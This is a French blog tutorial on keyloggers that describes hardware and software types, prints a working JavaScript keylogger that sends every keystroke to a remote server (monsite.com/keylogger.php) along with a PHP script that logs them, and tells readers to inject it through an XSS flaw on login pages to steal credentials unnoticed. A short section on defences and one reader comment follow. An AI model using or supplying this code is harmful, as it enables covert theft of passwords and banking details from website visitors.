Jan 21, 2013
10 Min
Facile

Un keylogger est un programme malicieux chargé dans la mémoire de votre ordinateur et qui va récupérer tout ce que vous saisissez au clavier : vos mots de passe, vos informations bancaires, etc… Une personne malveillante peut ensuite y retrouver et explorer les divers logins et mots de passe de votre ordinateur.


Certains keyloggers sont capables d’enregistrer les URL visitées, les courriers électroniques consultés ou envoyés, les fichiers ouverts, des captures d’écran voire de créer une vidéo retraçant toute l’activité de l’ordinateur.

Dans cet article on va voir comment fonctionne les keyloggers,  comment mettre en place un keylogger écrit en JavaScript et comment s’en protéger ?

Le fonctionnement des keyloggers

Un keylogger peut être matériel ou logiciel. Un keylogger matériel est un dispositif qui peut être fixé au clavier, au câble ou au bloc système de l’ordinateur.

keylogger materiel

Ils sont petites, se branchent entre le port PS2 du PC et le connecteur du clavier.  Ils ne coûtent pas cher, on en trouve en vente partout  et ils sont indétectables par les meilleurs antivirus gratuits et payants. Bref, l’idéal sauf si l’utilisateur regarde souvent derrière son PC pour vérifier.

Un keylogger logiciel est un programme spécialement développé pour suivre les frappes au clavier et transmettre ces informations dans un fichier.

les keyloggers s’installe :

  •  lors de l’ouverture d’un fichier joint à un message ;
  • à l’ouverture d’un fichier se trouvant dans un répertoire partagé d’un réseau P2P ;
  • à l’aide d’un script sur une page Web qui exploite les particularités d’un navigateur permettant au programme d’être exécuté automatiquement dès qu’un utilisateur accède à la page ;
  • etc

Ils existent plusieurs techniques pour la construction de keyloggers logiciels les plus populaires:

  • Piège système pour la communication d’une frappe au clavier (installé à l’aide de la fonction WinAPI SetWindowsHook sur les messages envoyés par la procédure de fenêtre ; programmé en langage C ou Java) ;
  • Requête cyclique du clavier (à l’aide de la fonction WinAPI Get(Async)KeyState, GetKeyboardState ; programmé le plus souvent en VisualBasic, plus rarement en Borland Delphi) ;
  • Utilisation d’un filtre pilote (requiert des connaissances spéciales ; programmé en C)

Comment mettre en place un keylogger Javascript ?

J’ai choisi l’utilisation du langage JavaScript pour de multiple raisons.  Ainsi, si l’on découvre une faille XSS dans un site internet , il sera assez facile d’y injecter le bout de code sur une page de login par exemple. On pourra  ainsi collecter l’ensemble des logins/passwords des utilisateurs à leur insu.

Voici un exemple de keylogger écrit en JavaScript :

<script language=’javascript’>

var keys= »;
document.onkeypress = function(e) {
get = window.event?event:e;
key = get.keyCode?get.keyCode:get.charCode;
key = String.fromCharCode(key);
keys+=key;
}
window.setInterval(function(){
new Image().src = ‘http://monsite.com/keylogger.php?c=’+keys;
keys =  »;
}, 1000);
</script>

Ici, le script Javascript récupère tout ce qui est saisi au clavier (fonction onkeypress) dans une variable appelée key. A côté de cela, la fonction setInterval attend une seconde avant de d’envoyer les données vers un serveur distant (serveur pirate).

Sur le serveur distant, on trouvera un script similaire à celui-ci, qui aura pour fonction la réception des données envoyées par le keylogger :

<?php
if(!empty($_GET[‘c’])) {
$f=fopen(‘logkey.txt’,’a+’);
fwrite($f,$_GET[‘c’]);
fclose($f);
}
?>

Il vous reste d’injecter le premier script dans un site contenant une faille XSS.

Comment se protéger des keyloggers ?

Les keyloggers sont très dangereux parce que c’est très difficile de les surveiller par un antivirus ou par le gestionnaire des taches.

Cependant, il existe un logiciel gratuit KeyScrambler qui permet de crypter ce que vous saisissez au clavier directement au niveau du pilote de votre clavier, empêchant ainsi les logiciels malveillants de récupérer vos informations personnelles. Vous bénéficiez ainsi d’une protection à la fois contre les Keyloggers connus et inconnus.

Quand à moi, je vous propose une solution moins pratique mais permettant de contrer la plupart des keyloggers quel que soit leur type (Cela n’est évidement pas infaillible à 100% comme tout les logiciels). C’est le clavier virtuel de Microsoft !

Il suffit de cliquer sur Démarrer / Exécuter et de taper la commande suivante : osk.exe

Cette application  se comporte exactement comme un clavier sauf que pour écrire vous cliquez sur les touches avec votre souris.

5 Commentaires

  1. daniel35610

    Pour avoir testé…je peux dire que les keyloggers récupère tout ce qui est écrit avec le principe de la souris sur un clavier virtuel.
    Ai-je fait une erreur?